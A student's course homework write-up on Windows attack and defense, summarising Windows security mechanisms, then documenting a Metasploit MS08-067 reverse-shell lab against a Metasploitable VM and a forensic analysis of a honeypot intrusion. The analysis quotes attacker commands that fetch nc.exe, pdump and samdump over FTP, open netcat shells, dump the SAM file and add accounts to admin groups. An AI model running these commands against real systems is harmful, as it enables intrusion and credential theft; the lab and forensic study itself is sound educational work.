问题 | 回答 |
---|---|
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612 |
我在这个课程的目标是 | 学习教材第七章,了解Windows操作系统的网络攻防技术 |
这个作业在哪个具体方面帮助我实现目标 | 相关知识点和实践任务 |
1.实践内容
1.1 Windows 操作系统基本框架概述
1.1.1 Windows 操作系统的基本结构
Windows 操作系统的基本结构如下图所示, 分为运行于处理器特权模式 (ring 0)的操作系统内核,以及运行在处理器非特权模式 (ring 3)的用户空间代码。采用宏内核 (monolithic) 模式来进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间, 这使得任意的内核模块或设备驱 动程序都可能破坏其他内核模块数据。
- Windows 操作系统内核的基本模块包括:Windows 执行体,Windows 内核体,设备驱动程序,硬件抽象层,Windows 窗口与图形界面接口内核实现代码
- Windows 橾作系统布用户态的代码模块包括:系统支持进程,环境子系统服务进程,服务进程,用户应用软件,核心子系统 DLL
在上述系统架构下, Windows 操作系统内核中实现了如下的核心机制。
- Windows 进程和线程管理机制:Windows 将进程视作可执行程序运行时刻的容器,其进程与线程结构示意图如下图所示。Windows 线程作为指令执行的具体载体,其线程控制块TCB 中包含程序执行的上下文信息。
- Windows 内存管理机制:Windows的虚拟内存空间分为系统核心内存区和用户内存区间两部分。
-Windows 文件管理机制:Windows使用 NTFS 管理文件系统,NTFS文件系统基于 ACL 访问控制列表来保证文件资源读/写的安全性;Windows上可执行文件采用 PE 格式,其结构如下
- Windows 注册表管理机制:Windows注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。
- Windows网络管理机制:
- 网络应用层:用户态的应用程序调用Windows操作系统提供的网络API。
- TDI客户端,传输驱动程序接口客户,是内核模式的设备驱动程序,用于实现网络API的内核部分。
- 协议驱动程序:TDI Transport Providers、TDI传输、NDIS协议驱动程序、所有这些其实就是指的同一个东西,这个部分就是对某个协议的具体实现部分。
- NDIS,网络协议接口标准。
- 硬件网卡部分
1.2 Windows操作系统的安全体系结构与机制
1.2.1 Windows安全体系结构
Windows 操作系统基于引用监控器模型 (Reference Monitor) 来实现基本的对象安全
模型。引用监控器模型是安全操作系统设计的一种经典模型, 如图7-6所示, 系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
其中最为核心的是位于内核中的 SRM 安全引用监控器, 以及位于用户态的 LSASS 安全服务。
1.2.2 Windows身份认证机制
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识;Windows为每个用户和计算机设置账户进行管理,本地Administrator和SYSTEM账户拥有最高权限;Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。
1.2.3 Windows授权与访问控制机制
Windows的授权与访问控制机制是基千引用监控器模型,由内核中的 SRM 模块与用 户态的 LSASS 服务共同来实施,由SRM作为安全主体访间对象资源时的中介,根据设定的访问控制列表进行授权访问。
1.2.4 Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录,LSASS服务将保存审计策略,并在对象启动审计功能后,在对象安全描述符中的 SACL 列表中进行保存;SRM安全引用监控器在进行对象访问授权时,也将依据对象的 SACL 列表配置,对指定的对象访问和操作事件进行审计记录,发送给 LSASS 服务;由 LSASS 服务补充审计记录细节信息后,再将这些审计记录发送给 EventLog 事件日志服务;EventLog 服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员
1.2.5 Windows 的其他安全机制
Windows 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
1.3 Windows远程安全攻防技术
Windows 远程攻击技术可以分为以下几大类:远程口令猜测与破解攻击,攻击 Windows 网络服务,攻击 Windows 客户端及用户。
1.3.1 Windows 系统的安全漏洞生命周期
- 安全漏洞公开披露信息库:所有在安全社区中被公开披斜和确认的安全漏洞都将会进入到业界知名的 CVE、 NYD、 Security Focus、 OSVDB 等几个通用漏洞信息库中。
- 针对特定目标的渗透测试攻击过程:针对一个特定的主机系统目标,典型的渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试这几个环节。
1.3.2 Windows 远程口令猜测与破解攻击
- 远程口令字猜测:通过SMB协议,WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint等web服务进行攻击
- 远程口令字交换通信窃听与破解:针对LanMan、NTLM、NTLMv2和Kerberos这几种Windows网络认证协议中存在的弱点,一些口令破解工具能够对在线窃听到的Windows SMB服务中交换的口令字密文信息实施破解
- 远程口令猜测与破解的防范措施:最根本的是用户设置强口令;其次有尽量关闭不必要开放的易受远程口令猜测攻击网络服务;配置主机防火墙来限制对上述端口的服务、利用网络防火墙来限制服务等。
1.3.3 Windows网络服务远程渗透攻击
其中包括针对NETBIOS服务的攻击(Windows局域网联网的基本支持,基本输入/输出系统);针对SMB服务的攻击(文件与打印共享);针对MSRPC服务的攻击(远程过程调用);针对Windows系统上微软网络服务的攻击(微软公司提供的网络服务);针对Windows系统上第三方网络服务的攻击(第三方公司提供的网络服务)
- 防范措施:从设计开发根源上减少安全漏洞的出现,及时进行漏洞补丁修护,尽可能快速更新与应用软件安全补丁;在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间中,管理员要尽快对安全敏感的服务器做测试和实施可用的攻击缓解配置;利用服务软件厂商及社区提供的安全核对清单来对服务进行安全配置,利用一些安全插件,利用漏洞扫描软件扫描漏洞及时进行修复。
1.4 Windows本地安全攻防技术
在利用远程渗透攻击技术获取到Windows系统的访问权之后,攻击者下一步的目标就是破解本地程序安全漏洞,进行特权提升以取得系统的完整控制权,并在系统中窃取口令等敏感信息扩大战果,进一步掩踪灭迹,植入远程控制后门程序以维护对系统的长期控制。
1.4.1 Windows本地特权提升
在攻击者获得Windows系统上的受限用户权限之后,他们将立即若眼千获得终极特权: Administrator 或 Local System 账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升(PrivilegeEscalation), 业内简称为“提权”。Windows系统上进行特权提升的攻击途径中要是通过DLL注入和破解本地程序安全漏洞。
1.4.2 Windows敏感信息窃取
Windows系统中最吸引攻击者的敏感信息首先是本地保存的各种口令字, 攻击者一旦破译了这些口令字, 他们就很有可能利用这些口令,来尝试登录本地网络或目标用户其他的系统资源。其中包括包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段。防范措施包括:使用安全度高、能抵挡破解的口令
1.4.3 Windows消踪灭迹
在攻击者获得 Windows 系统的 Administrator 权限, 并窃取了他所感兴趣的敏感信息之后,攻击者会想尽一切办法来避免被人觉察他们的存在。他们会把各种入侵的痕迹进行删除或者掩盖,使得系统的用户或管理员无法意识到系统已被攻陷,从而保证攻击者对系统的长期控制。其中包括关闭审计功能和清理事件日志,其中防范措施包括实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
1.4.4 Windows 远程控制与后门程序
攻击者在目标系统上完成提权、信息窃取、掩踪灭迹等任务之后,为了确保以后能够方便地登录到这台已被攻陷与控制的系统主机,他们还会在系统中植入远程控制和后门程序,维持对这台主机持久的控制权。
攻击者往往会在受控的系统中自主植入第三方的远桯控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。防范措施包括采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2. 实践过程
2.1 动手实践:Metasploit Windows Attack
任务:使用 Metasploit 软件进行 Windows 远程渗透攻击实验。
具体任务内容:使用 WindowsAttacker/BT4 攻击机尝试对 Windows Metasploitable 靶机上的 MS08-067 漏洞进行远程渗透攻击,获取目标主机访问权。
实践步骤:
- 启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
- 使用exploit:windows/smb/ms08_067 _netapi渗透攻击模块;
- 选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
- 设控渗透攻击参数(RHOST,LHOST, TARGET等);
- 执行渗透攻击;
- 查看是否正确得到远程Shell,并查看获得的权限。
本次实践所使用虚拟机为 kail 和 Windows Metasploitable ,ip地址如下表所示
主机名称 | ip地址 |
---|---|
kail | 192.168.200.3 |
windows | 192.168.200.124 |
在kali终端中开启msfconsole
,输入命令search ms08_067
,会显示出找到的渗透模块,如下图所示
输入命令use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块的使用。
输入命令show payload
会显示出有效的攻击载荷(即渗透代码),如下图所示,我们找到一个3号载荷 shell_reverse_tcp (反向tcp)并使用它
使用命令set payload generic/shell_reverse_tcp
设置攻击有效载荷。同时使用命令show options
显示我们需要在攻击前需要设置的数据,LHOST 和 RHOST,分别为目标主机链接的IP地址(攻击机ip)和远程主机或者目标主机的IP地址
使用命令
set LHOST 192.168.200.3
set RHOST 192.168.200.124
并使用命令show options
再次查看payload状态。
输入命令exploit
开始攻击,显示command shell session 数字 open
,表示攻击成功,输入任意值后进入远程控制界面(ps:显示的乱码是因为靶机 shell 中部分提示是以中文的形式给出的,但是我的 kail 没有安装中文数据包,所以显示乱码)
测试一下,使用命令mkdir success
在当前目录下创建success文件夹,在靶机中查看发现创建成功
攻击成功
通过net user
查看用户组中的用户,发现当前用户极大概率是Guest(游客)用户,在靶机上通过命令net user Guest
查看用户Guest的详细信息(不直接在kail上查看主要因为是我的 kail 没有中文数据包,显示的都是乱码),发现该用户上次登陆时间与我正在攻击的时间相符合,所以获得的权限应该是游客权限(由于这是后来想到的,所以验证时候又进行了一次攻击,所以显示时间与前面的演示步骤的时间有一点差距)
2.2 取证分析实践:解码一次成功的NT系统破解攻击
来自213.116.251.162的攻击者成功攻陷了一台巾 rfp 部署的蜜罐主机172.16.1.106 (主机名为:lab. wiretrip.net). 这是一次非常典型的针对NT系统的攻击,而且找们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件, 而你的任务就是从这个文件中提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击?
- 攻击者如何使用这个破解工具进入并控制了系统?
- 当攻击者获得系统的访问权后做了什么?
- 我们如何防止这样的攻击?
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是, 为什么?
首先通过 snort 对网络日志文件进行已知入侵方法的检测,生成的alert文件可以提供很多有用的线索
使用命令行snort -r snort-0204@0117.log -c /etc/snort/snort.conf -K acsii
,在在/var/log/snort/目录下可以查找到alert文件
总共有317条报警信息,其中共有8种报警信息
web目录遍历报警
web 403 访问限制错误消息
msadcs.dll访问,该DLL存在已知的安全漏洞
MDAC溢出攻击尝试
cmd.exe 远程 shell 访问
nc.exe后门程序访问
ping探测
目录列举
其中web 目录遍历报警和 MADC 溢出攻击尝试是比较重要的,根据所给的提示信息上网搜索可以发现 IIS 的两个安全漏洞,分别是 Unicode 漏洞(MS00-078/MS01-026)和 MDAC RDS漏洞(MS02-065)。
通过以上分析,攻击者很可能利用了 IIS 的上述两个安全漏洞攻陷了蜜罐主机,并通过 nc 构建了远程连接
攻击者使用了什么破解工具进行攻击?
通过以上分析我们大概已经有了一个轮廓,下面通过 wireshark 对 log 文件进行更细致的分析
首先通过ip地址筛选会话ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
,发现攻击者在一开始进行了http访问,访问了蜜罐主机的网页,他的User-Agent(用户代理)字段为 Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0),可以推测出攻击主机应为 NT5.0 系统,安装了 MSIE 5.01 和 Hotbar 2.0 插件,而蜜罐主机则安装了IIS4.0服务组件
紧接着在117编号的数据包内可以发现,在访问了这个页面后,攻击者打开了系统启动文件boot.ini
,而这里存在一个比较特殊的字符%C0%AF
,在查阅网上的资料后,根据IIS的Unicode漏洞攻击这篇博客可知,%C0%AF
为字符/
的Unicode编码,所以极可能攻击者利用了 Unicode解析错误漏洞,结合博客所给的测试是否存在Unicode漏洞的字段为 winnt/system32/cmd.exe?/c+dir
,而 log 文件中也能找到相应字段,因此可以断定攻击使用了这类漏洞
随后在编号130和140的数据包发现了msadc
字段,根据GET /msadc/msadc.dll HTTP
字段可以推测攻击者探测了蜜罐主机是否存在 MSADCS RDS 漏洞,紧接着在编号149的数据包内追踪tcp流,可以发现攻击者利用RDS漏洞进行了SQL注入攻击,尝试执行cmd /c echo werd >> c:fun
命令。
发现ADM!ROX!YOUR!WORLD
字符串比较有趣,上网查询,发现这是一个名为msadc(2).pl的工具发起的攻击
至此我们可以知道攻击者使用了 Unicode漏洞和 msadc(2).pl工具发起了攻击
攻击者如何使用这个破解工具进入并控制了系统?
从会话1778-80
(编号179)开始,攻击者进行了一系列的攻击动作,
1778-80:cmd /c echo user johna2k > ftpcom
1780-80:cmd /c echo hacker2000 > ftpcom
1782-80:cmd /c echo get samdump.dll > ftpcom
1784-80:cmd /c echo get pdump.exe > ftpcom
1786-80:cmd /c echo get nc.exe > ftpcom
1791-80:cmd /c ftp -s:ftpcom -n www.nether.net
上述指令的意思是攻击者首先创建了一个ftpcom脚本,并使用 ftp 连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续查看会话1791-80之后出现了蜜罐主机与该网站的ftp连接,网站的IP为204.42.253.18。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。
接着往下看
//试图运行pdump.exe,破解sam中的口令密码,结果输出到new.pass中,但之前没有成功下载pdump,失败
1793-80:cmd /c pdump.exe>>new.pass
1795-80:cmd /c echo userjohna2k > ftpcom2
1797-80:cmd /c echo hacker2000>>ftpcom2
1799-80:cmd /c put new . pass>>ftpcom2
1801—80:cmd /c echo quit>>ftpcom2 ” )
1803-80:cmd /c ftp -s : ftpcom2 – n www.nether.net” )
1808-80:cmd /c ftp 213.116.251.162 ” )
可以看到攻击者创建了另一个脚本ftpcom2,试图将破解的口令new.pass上传到FTP上,但同样由于登陆口令错误没有成功
后面的基本上大同小异,都是攻击者不断编写脚本,尝试从www.nether.net下载工具到蜜罐主机,当然无一例外由于他编写的脚本问题都失败了。在经过多次RDS攻击失败后,于会话1874-80开始,攻击者转向Unicode攻击
1874-80: copy C:winntsystem32cmd.exe cmd1.exe
1875-80: cmd1.exe /c open 213.116.251.162 >ftpcom
1876-80: cmd1.exe /c echo johna2k >>ftpcom
1877-80: cmd1.exe /c echo haxedj00 >>ftpcom
1879-80: cmd1.exe /c echo get nc.exe >>ftpcom
1880-80: cmd1.exe /c echo get pdump.exe >>ftpcom
1881-80: cmd1.exe /c echo get samdump.dll >>ftpcom
1882-80: cmd1.exe /c echo quit >>ftpcom
1885-80: cmd /c ftp –s:ftpcom
这次终于成功,蜜罐主机连接213.116.251.162 (攻击者自己的主机)下载了所指定的这些文件,并通过nc构建了一个远程shell通道
在下载完文件之后,攻击者执行了这样一条命令1887-80: cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口,获得了访问权限,并创建了一个交互式控制界面。至此,攻击者完成了进入系统并且获得访问权的过程。
当攻击者获得系统的访问权后做了什么?
首先追踪一下tcp流
接下来简要的说一下攻击者的行为
首先攻击者进行了一些查看文件和权限,删除脚本等常用操作
然后攻击者尝试使用pdump直接从注册表中提取口令密文,但是失败了
cmd / c pdump.exe >> c : yay.txt
cmd / c net session >> yay2.txt
cmd / c net users >> heh.txt
cmd / c net users >> c : heh.txt
然后攻击者尝试信息收集,net session(列出会话),但是没有权限,然后执行net users,返回该主机的用户列表
接下来攻击者发了一个echo消息到C盘根目录文件
接着尝试通过net group
查看组用户、net localgroup
查看本地组用户、以及 net group domain admins
,然而这些都失败了。
接下来攻击者尝试使用net命令将 IUSR/IW 账户加入 “Domain Admins”,因为其不属于本地管理员组,故失败
net localgroup Domain Admins IWAM_KENNY/ ADD
net localgroup Domain Admins IUSR_KENNY/ ADD
然后尝试将其加入本地管理员组,执行如下命令,成功
接下来,攻击者开始寻找msadc目录,我们发现作者又一次执行pdump来导出口令密文,但是还是以失败告终。
攻击者放弃了pdump
提取Administrator
口令密文的企图。攻击者删除了samdump
和pdump
攻击者转而使用rdisk
尝试获得SAM
口令文件(安全账号管理器),rdisk
是磁盘修复程序,执行rdisk /s-
(攻击者一开始输入错误,最后通过RDS输入成功)备份关键系统信息,在/repair目录中就会创建一个名为sam._
的SAM
压缩拷贝。并且攻击者把这个文件保存到har.txt并在屏幕打印出来,但是这导致了 shell 窗口不可用
接着攻击者在会话1987->80
进行了Unicode攻击,并且重新连接了一个端口6968(6969端口失效了),执行指令为nc -l -p 6968 -e cmd1.exe
继续追踪TCP流发现攻击者首先将SAM文件拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但因为锁定没有成功。然后攻击者把其他盘符看了一遍之后,退出了这个shell连接。
接下来攻击者在会话2007->80
进行了Unicode攻击,并且重新连接了一个端口6868,执行指令为nc -l -p 6868 -e cmd1.exe
。但是至此开始,攻击者的IP地址变成了202.85.60.156。
可以发现攻击者创建了一个test.txt
文件,内容为This can't be true
,并echo . >> default.htm
篡改了首页。随后exit退出了当前的shell,然后跟随这个数据包往下,我们可以发现有很多其他的 IP 地址访问了新创建的 test.txt 文件。
接着往下看,我们可以看到很多ftp服务,通过追踪流发现,攻击者应该是上传了得到的whisker.tar.gz
文件,ftp服务结束,发现攻击者继续进行了一个 Unicode 攻击,指令为del ftpcom
,也就是删除了 ftpcom 脚本文件,攻击者这一步是为了清除痕迹。到此,整个攻击结束。
我们如何防止这样的攻击
- 及时修补漏洞,对漏洞打上相应的补丁。
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为 web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是, 为什么?
攻击者发现了这是一台蜜罐主机,因为攻击者留下了这样的信息。
2.3 团队对抗实践: Windows系统远程渗透攻击与分析。
攻防对抗实践内容:攻击方Metasploit Windows Attack, 防御方:wireshark捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补丁进行修补,给出攻防过程报告。
攻击方: 使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权。
防守方: 使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合 wireshark/snort 分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、 攻击 利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
团队共同合作完成渗透攻击与分析实验报告。
攻击过程与2.1中的攻击相同,这里主要演示防御过程,由于靶机上没有 wireshark 工具,所以在攻击机上打开 wireshark 捕捉数据包
我们发现攻击机向靶机发送了许多SMB数据包,而 MS08-067 漏洞是通过MSRPC over SMB
通道调用Server
服务程序中的NetPathCanonicalize
函数时触发的。MS08-067的漏洞原理可参考MS08-067漏洞原理及详尽分析过程
3. 学习中遇到的问题及解决
- 问题1:对于取证分析实验一开始完全不知道怎么做
- 问题1解决方案:通过学习老师给的资料和参考其它同学的博客最终完成(当然还有许多不完善的地方)
4. 学习的感想和体会
通过这次学习和实践初步了解了对 Windows 操作系统的攻击过程,但是由于基础较差,取证分析实践过程还有许多不完善的地方,以后还要多多学习。
参考资料
案例演示-分析 NT 系统破解攻击
网络攻防技术与实践
MS08_067漏洞渗透攻击实践
MS08-067漏洞原理及详尽分析过程
知已知彼 Windows 系统常见漏洞分析
NT4.0下的msadcs.dll漏洞的利用
IIS的Unicode漏洞攻击